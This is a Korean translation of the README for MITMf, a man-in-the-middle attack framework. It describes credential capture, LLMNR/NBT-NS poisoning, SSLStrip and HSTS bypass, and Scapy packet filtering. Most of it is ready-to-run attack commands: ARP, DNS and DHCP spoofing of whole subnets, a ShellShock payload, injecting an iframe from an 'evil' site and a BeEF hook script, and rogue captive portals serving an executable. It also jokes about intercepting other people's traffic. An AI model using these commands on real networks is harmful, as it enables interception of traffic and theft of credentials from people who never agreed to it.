
중간자 공격을 위한 프레임워크
중간자 공격을 위한 프레임워크
이 프로젝트는 더 이상 업데이트되지 않습니다. MITMf는 당시 중간자 공격을 수행하기 위한 현대적인 도구의 필요성을 해결하기 위해 작성되었습니다. 그 이후로 많은 다른 도구들이 이 공간을 채우기 위해 만들어졌으며, 아마도 Bettercap을 사용하는 것이 좋습니다. Bettercap은 훨씬 더 많은 기능을 갖추고 있고 유지보수가 잘 되어 있습니다.
빠른 튜토리얼, 예제 및 개발자 업데이트: https://byt3bl33d3r.github.io
이 도구는 sergio-proxy를 기반으로 하며, 프로젝트를 부활시키고 업데이트하려는 시도입니다.
연락처:
이슈를 제출하기 전에 위키의 관련 섹션을 읽어주세요.
설치 지침은 위키를 참조하세요: 설치 안내
MITMf는 기존의 공격 및 기술을 업데이트하고 개선하면서 중간자 공격 및 네트워크 공격을 위한 원스톱 솔루션을 제공하는 것을 목표로 합니다.
원래 다른 도구(예: Ettercap, Mallory)의 심각한 단점을 해결하기 위해 만들어졌으며, 거의 처음부터 다시 작성되어 누구나 자신만의 MITM 공격을 구현할 수 있는 모듈식이고 쉽게 확장 가능한 프레임워크를 제공합니다.
프레임워크에는 내장 SMB, HTTP 및 DNS 서버가 포함되어 있으며, 다양한 플러그인에서 제어하고 사용할 수 있습니다. 또한 HTTP 수정 및 부분적인 HSTS 우회를 허용하는 수정된 버전의 SSLStrip 프록시가 포함되어 있습니다.
버전 0.9.8부터 MITMf는 능동적인 패킷 필터링 및 조작(기본적으로 etterfilters가 했던 것보다 더 나은 기능)을 지원하여 사용자가 모든 유형의 트래픽이나 프로토콜을 수정할 수 있습니다.
MITMf가 실행되는 동안 설정 파일을 실시간으로 편집할 수 있으며, 변경 사항이 프레임워크를 통해 전달됩니다. 이를 통해 공격을 수행하면서 플러그인 및 서버의 설정을 조정할 수 있습니다.
MITMf는 Net-Creds를 사용하여 FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP(커뮤니티 문자열), NTLMv1/v2(HTTP, SMB, LDAP 등 지원되는 모든 프로토콜) 및 Kerberos 자격 증명을 캡처합니다. 이는 시작 시 실행됩니다.
Responder 통합으로 LLMNR, NBT-NS 및 MDNS 중독과 WPAD rogue 서버 지원을 제공합니다.
Scapy를 사용하여 MITMf가 가로챈 모든 패킷/프로토콜을 수정할 수 있습니다! (더 이상 etterfilter가 필요 없습니다! 좋아요!)
예를 들어, ICMP 패킷의 대상 IP 주소만 변경하는 간단한 필터입니다:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet 변수를 사용하여 Scapy 호환 형식의 패킷에 접근합니다.data 변수를 사용하여 원시 패킷 데이터에 접근합니다.이제 필터를 사용하려면 다음을 실행하기만 하면 됩니다: python mitmf.py -F ~/filter.py
이 필터는 아마도 Spoof 플러그인과 결합하여 다른 사람의 트래픽을 실제로 가로채는 데 사용하고 싶을 것입니다 ;)
참고: MITMf를 다시 시작하지 않고도 필터를 실시간으로 수정할 수 있습니다!
가장 기본적인 사용법: 인터페이스 enp3s0에서 HTTP 프록시, SMB, DNS, HTTP 서버 및 Net-Creds를 시작합니다:
python mitmf.py -i enp3s0
Spoof 플러그인을 사용하여 게이트웨이가 192.168.1.1인 전체 서브넷을 ARP 스푸핑합니다:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
위와 동일 + Responder 플러그인을 사용한 WPAD rogue 프록시 서버:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
게이트웨이가 192.168.1.1인 192.168.1.16-45 및 192.168.0.1/24를 ARP 스푸핑합니다:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
ARP 스푸핑 중 DNS 스푸핑 활성화 (스푸핑할 도메인은 설정 파일에서 가져옴):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
LLMNR/NBTNS/MDNS 스푸핑 활성화:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
DHCP 스푸핑 활성화 (IP 풀 및 서브넷은 설정 파일에서 가져옴):
python mitmf.py -i enp3s0 --spoof --dhcp
위와 동일, 클라이언트가 취약한 경우 실행될 ShellShock 페이로드 포함:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject 플러그인을 사용하여 HTML IFrame 삽입:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
JS 스크립트 삽입:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
모든 트래픽을 http://SERVER/PATH로 리디렉션하는 캡티브 포털 시작:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
기본 페이지 /portal.html (thx responder) 및 /CaptiveClient.exe (포함되지 않음)를 사용하여 http://your-ip/portal.html에서 캡티브 포털 시작 (config/captive 폴더에서):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
위와 동일하지만 IP 대신 호스트명 captive.portal 사용 (captive.portal이 IP로 해석되어야 하며, 예를 들어 DNS 스푸핑을 통해):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
추가 SimpleHTTPServer 인스턴스가 http://IP:8080에서 LOCALDIR을 제공하는 캡티브 포털 제공 (mitmf.config에서 포트 변경):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
위와 동일하지만 호스트명 사용:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
그리고 훨씬 더 많습니다!
물론 거의 모든 플러그인을 함께 사용할 수 있습니다 (예: ARP 스푸핑 + Inject + Responder 등).
사용 가능한 모든 옵션 목록은 python mitmf.py --help를 실행하세요.
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr